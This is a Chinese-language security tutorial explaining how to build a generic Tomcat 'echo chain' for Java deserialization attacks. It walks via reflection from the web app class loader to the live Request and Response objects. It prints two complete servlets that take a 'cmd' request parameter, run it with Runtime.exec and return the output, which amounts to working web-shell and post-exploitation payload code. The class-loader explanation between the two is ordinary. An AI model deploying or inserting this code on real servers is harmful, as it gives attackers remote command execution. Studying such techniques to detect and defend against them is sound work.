Java安全-Tomcat通用回显链

Java安全-基于Tomcat通用回显链

通过找Tomcat中全局存储的request或response对象,进而挖掘出一种在Tomcat下可以通杀的回显链

分析通用回显链


首先为什么我们要找回显链呢?

当反序列化触发时,无法像普通的Filter/Servlet一样,直接获取到Request与Response对象。因此,必须另想办法拿到这些对象,完成命令获取以及回显


编写一段servlet方便我们调试使用

package com.sec.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req,resp);

}
}

切记要把tomcat的lib包加入到

尝试调试

我们直接回调到Http11Processor类,这个类是用来对Http协议通信的处理

Http11Processor父类AbstractProcessor的构造函数中,存在request和response对象,并且是final修饰的,那么就不可以被直接修改,且该request和response符合我们的预期,我们可以通过这里的request和response对象构造回显。

在AbstractProcessor中可以通过getRequest获取当前req:

Request对象中存在get方法获取Response对象

调用链思路:

如果想返回内容,则调用链路为
Http11Processor.getRequest() -> Request.getResponse() -> Response.doWrite()

首先我们要考虑到如何才能获取到Http11Processor对象

通过调用栈可以看到AbstractProtocol类中多出了个processor是一个Http11Processor对象

可以看到这里调用了createProcessor方法

下面有个register的方法

可以看到这里的传入的是RequestGroupInfo对象

global是一个RequestGroupInfo对象

我们继续看下这个addRequestProcessor

我们了解下processors是什么?

processors是一个数组,存储RequestInfo对象

RequestGroupInfo中存储了一个RequestInfo的List在RequestInfo中就包含了Request对象,那么可以通过Request对象来拿到我们最终的Response (Request.getResponse())。

可以看到从中req获取到Request对象


想要获取 global就需要获取到 AbstractProtocol

调用流程如下:

AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response

再往后看调用栈,现在要寻找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)

我们发现CoyoteAdapter的connector这个Field有很多关于Request的操作

这个类中就有与AbstractProtocol有关的字段:protocolHandler ,这个field的类型为ProtocolHandler,可以看一下继承了ProtocolHandler的类,其中与HTTP11有关的也都继承了AbstractProtocol

处理请求的部分我们就寻找完了。

Connector----->AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response

Tomcat启动过程中有这样的方法,可以看到会将Connector放入Service中

这里的service为StandardService,所以串起来就是:

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

前面3个类加载和默认的一致,CommonClassLoader、CatalinaClassLoader、SharedClassLoader和WebappClassLoader则是Tomcat自己定义的类加载器,它们分别加载/common/*/server/*/shared/*(在tomcat 6之后已经合并到根目录下的lib目录下)和/WebApp/WEB-INF/*中的Java类库。其中WebApp类加载器和Jsp类加载器通常会存在多个实例,每一个Web应用程序对应一个WebApp类加载器,每一个JSP文件对应一个Jsp类加载器


为什么要打破双亲委派机制?

如果没有使用双亲委派模型,由各个类加载器自行加载的话,如果用户自己编写了一个称为java.lang.Object的类,并放在程序的ClassPath中,那系统将会出现多个不同的Object类, Java类型体系中最基础的行为就无法保证。应用程序也将会变得一片混乱


为什么要用到上下文加载器

Java 提供了很多服务提供者接口(Service Provider Interface,SPI),允许第三方为这些接口提供实现。常见的 SPI 有 JDBC、JCE、JNDI、JAXP 和 JBI 等。

这些 SPI 的接口由 Java 核心库来提供,而这些 SPI 的实现代码则是作为 Java 应用所依赖的 jar 包被包含进类路径(CLASSPATH)里。SPI接口中的代码经常需要加载具体的实现类。那么问题来了,SPI的接口是Java核心库的一部分,是由启动类加载器来加载的;SPI的实现类是由系统类加载器来加载的。启动类加载器是无法找到 SPI 的实现类的,因为依照双亲委派模型,BootstrapClassloader无法委派AppClassLoader来加载类,这也就是解决上层的ClassLoader需要调用下层的ClassLoader。


下面以JDBC的这种SPI场景用图来更具体的描述一下:

很明显JDBC会去引用JDBCImpl的具体厂商的实现,而JDBC标准是由启动加载器所加载,那对于具体实现厂商的类也会用系统类加载器去加载,而由于它们是处于工程中的classPath当中,由系统类加载器去加载,很显然是没办法由根类加载器去加载的,为了解决这个问题,线程的上下文类加载器就发挥作用了。


如何使用应用程序加载器来加载呢?

就需要使用线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)


这里我们重点的是WebappClassLoader类

其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一

看看Thread.currentThread.getContextClassLoader()里面都有啥东西,这里只要稍微搜寻一下就会发现有很多Tomcat有关的运行信息。我们只要寻找我们上文提到的需要的Service就可以了

通过ApplicationContext(getResources().getContext()) —> StandardService

最后路径:

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

编写tomcat回显链

package com.naihe;


import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;


@WebServlet("/demo")
public class test extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

//通过Thread.currentThread().getContextClassLoader()获取WebappClassLoaderBase
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//webappClassLoaderBase找到Resources下的Context可以找到StandardContext对象
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

try {
//获取StandardContext下的context是一个ApplicationContext
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);

//ApplicationContext的service属性,StandardService是实现Service的
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);

//获取Connector数组
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);

//获取ProtocolHandler对象
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);

//获取AbstractProtocol下的返回所有Class对象
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

for (Class<?> declaredClass : declaredClasses) {

//判断是AbstractProtocol#ConnectionHandler
if (declaredClass.getName().length()==52){

//获取getHandler,返回Handler<S>,ConnectionHandler是继承Handler<S>,拿到ConnectionHandler
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);

//ConnectionHandler.global拿到RequestGroupInfo
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

//RequestGroupInfo.processors拿到ArrayList<RequestInfo>
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
//获取到req
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);

//循环RequestInfo,拿到request
for (RequestInfo info : requestInfo) {

org.apache.coyote.Request request = (Request) req1.get(info);

org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
//从request获取到Response,回显
org.apache.catalina.connector.Response response = request1.getResponse();

String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
}
}
}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}

}